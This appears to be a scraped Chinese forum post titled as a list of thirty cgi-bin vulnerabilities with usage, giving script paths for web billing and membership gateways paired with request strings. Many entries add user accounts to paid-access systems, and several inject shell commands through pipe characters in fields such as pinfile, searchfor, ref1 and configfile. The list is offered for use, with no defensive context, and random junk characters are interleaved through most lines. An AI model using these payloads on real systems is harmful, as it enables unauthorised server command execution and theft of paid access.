Cgi-bin 30个漏洞＋使用方法

admin

==============================
3 D$ P% k1 P% a9 e) E
/smspass.pl
username=username&password=password
/ a# F# ~8 V, x  K/ _
( k7 b- u! h+ K" z0 Y/index.cgi
8 w* N7 f$ S' I- W! l2 twei=ren&gen=command

& _& e7 i% S' E5 z/passmaster.cgi
4 U. L4 l7 Z6 a1 e0 b( V* _1 z9 ~: |Action=Add&Username=Username&Password=Password

/accountcreate.cgi
. D3 d% \& X, w5 p0 U1 Gusername=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

6 ?3 K  Y) G3 e2 S6 x/addusr.pl
, R8 D( @1 j" {; z/cgi-bin/EuroDebit/addusr.pl
3 P) y. T' e9 P) Y% Iuser=username&pass=Password&confirm=Password
* x9 B+ G' ]; f; o* R
+ B' b$ M4 x0 o1 V% i) j/ccbill-local.asp
( J1 M6 C2 U! }6 N5 B) ypost_values=username:password
' `. H) D. S5 ^9 I
0 }6 {- Y0 l3 z+ G8 r7 L) L, ^/count.cgi
4 |4 B/ q) |1 b' ppinfile=|echo;ls -la;exit|

' L2 B2 A! h3 C# ?1 U  [, u/recon.cgi
/recon.cgi?search
0 k; I% N" X. ?* g8 ?) p" xsearchoption=1&searchfor=|echo;ls -al;exit|
5 n: t! ?9 T  S: j
) ?" v0 ^: I# q/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

% Y- L6 R$ S: g, ]+ g8 z5 m/af.cgi
& n; j* t$ I9 ^5 ]# Z_browser_out=|echo;ls -la;exit;|

1 w6 C/ K; _) Y: Y! ]8 V4 K1 ]/modify.cgi
% P* }. \( j( `0 cusername=username&password=password&expire=30
' m3 }, S/ _/ g( j# p% v% g
! L0 E( _8 v/ f' H( G9 j/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
$ }3 X" t; s7 U; T$ u5 j7 G9 ]6 Icmd=ADD&user=username&pass=password
5 `- D: p3 }; X( ^$ T/ E& J
/probecontrol.cgi
command=enable&username=username&password=password
& o: z2 @6 u$ r8 [1 N' Q' v, @) i
/recon.cgi
* ?( u" m7 i, |% A: lsearchoption=3&searchfor=echo;ls -la;exit
) W# f2 P& w$ W
$ G7 v$ `5 K0 h. [8 w/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
6 g- p: i/ _9 p  u* _0 ?8 m7 o) @cmd=ADD&user=username&pass=password

; B, S  I5 \$ R% l9 z* l/ibill*.pl
9 V% ~3 {. P0 m: {1 Breqtype=add&authpwd=authpwd&username=username&password=password
6 w" H0 _) d# i' `. Z
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
! Q- p1 U) Y3 |. J# L$ n, u6 B" C
, ^4 ~3 @4 Z1 v' A- M+ h/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
% M6 Z8 d8 K/ J  B
/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
3 L, J3 M9 d+ P! v# J
/addusr.pl
user=USER&pass=PASS&confirm=PASS
0 c4 I- h' F0 C' b
0 y- X9 A' v3 m$ v/pincount.cgi
, D$ T0 J% x( p* a5 Q9 N5 H; C/cgi-bin/mastergate/pincount.cgi
! J5 A, W& |6 u' F! Hpinfile=|echo;pwd;exit|
; x1 Z9 P  M, n- g( B
& A1 z$ O! a+ u/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
: Y* [) W9 E# B8 K, N  i4 }- m6 |/env.cgi
ADD+;echo;pwd;exit

1 U' Y' B+ G2 T$ t/count.cgi
$ ~) J% J6 B4 p4 S3 k1 gpinfile=|echo;pwd;exit|

# P7 o- |9 k1 T! ?+ p/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
. @1 j0 {0 X8 L& _9 m! @6 e
$ o* |0 W; Y( P( t/add.cgi
" }1 F1 m# L( h( z( V- E9 Q/ f4 Ausername=username&password=password&expire=30
6 m6 `; [4 K1 |( \, ^# o
==============================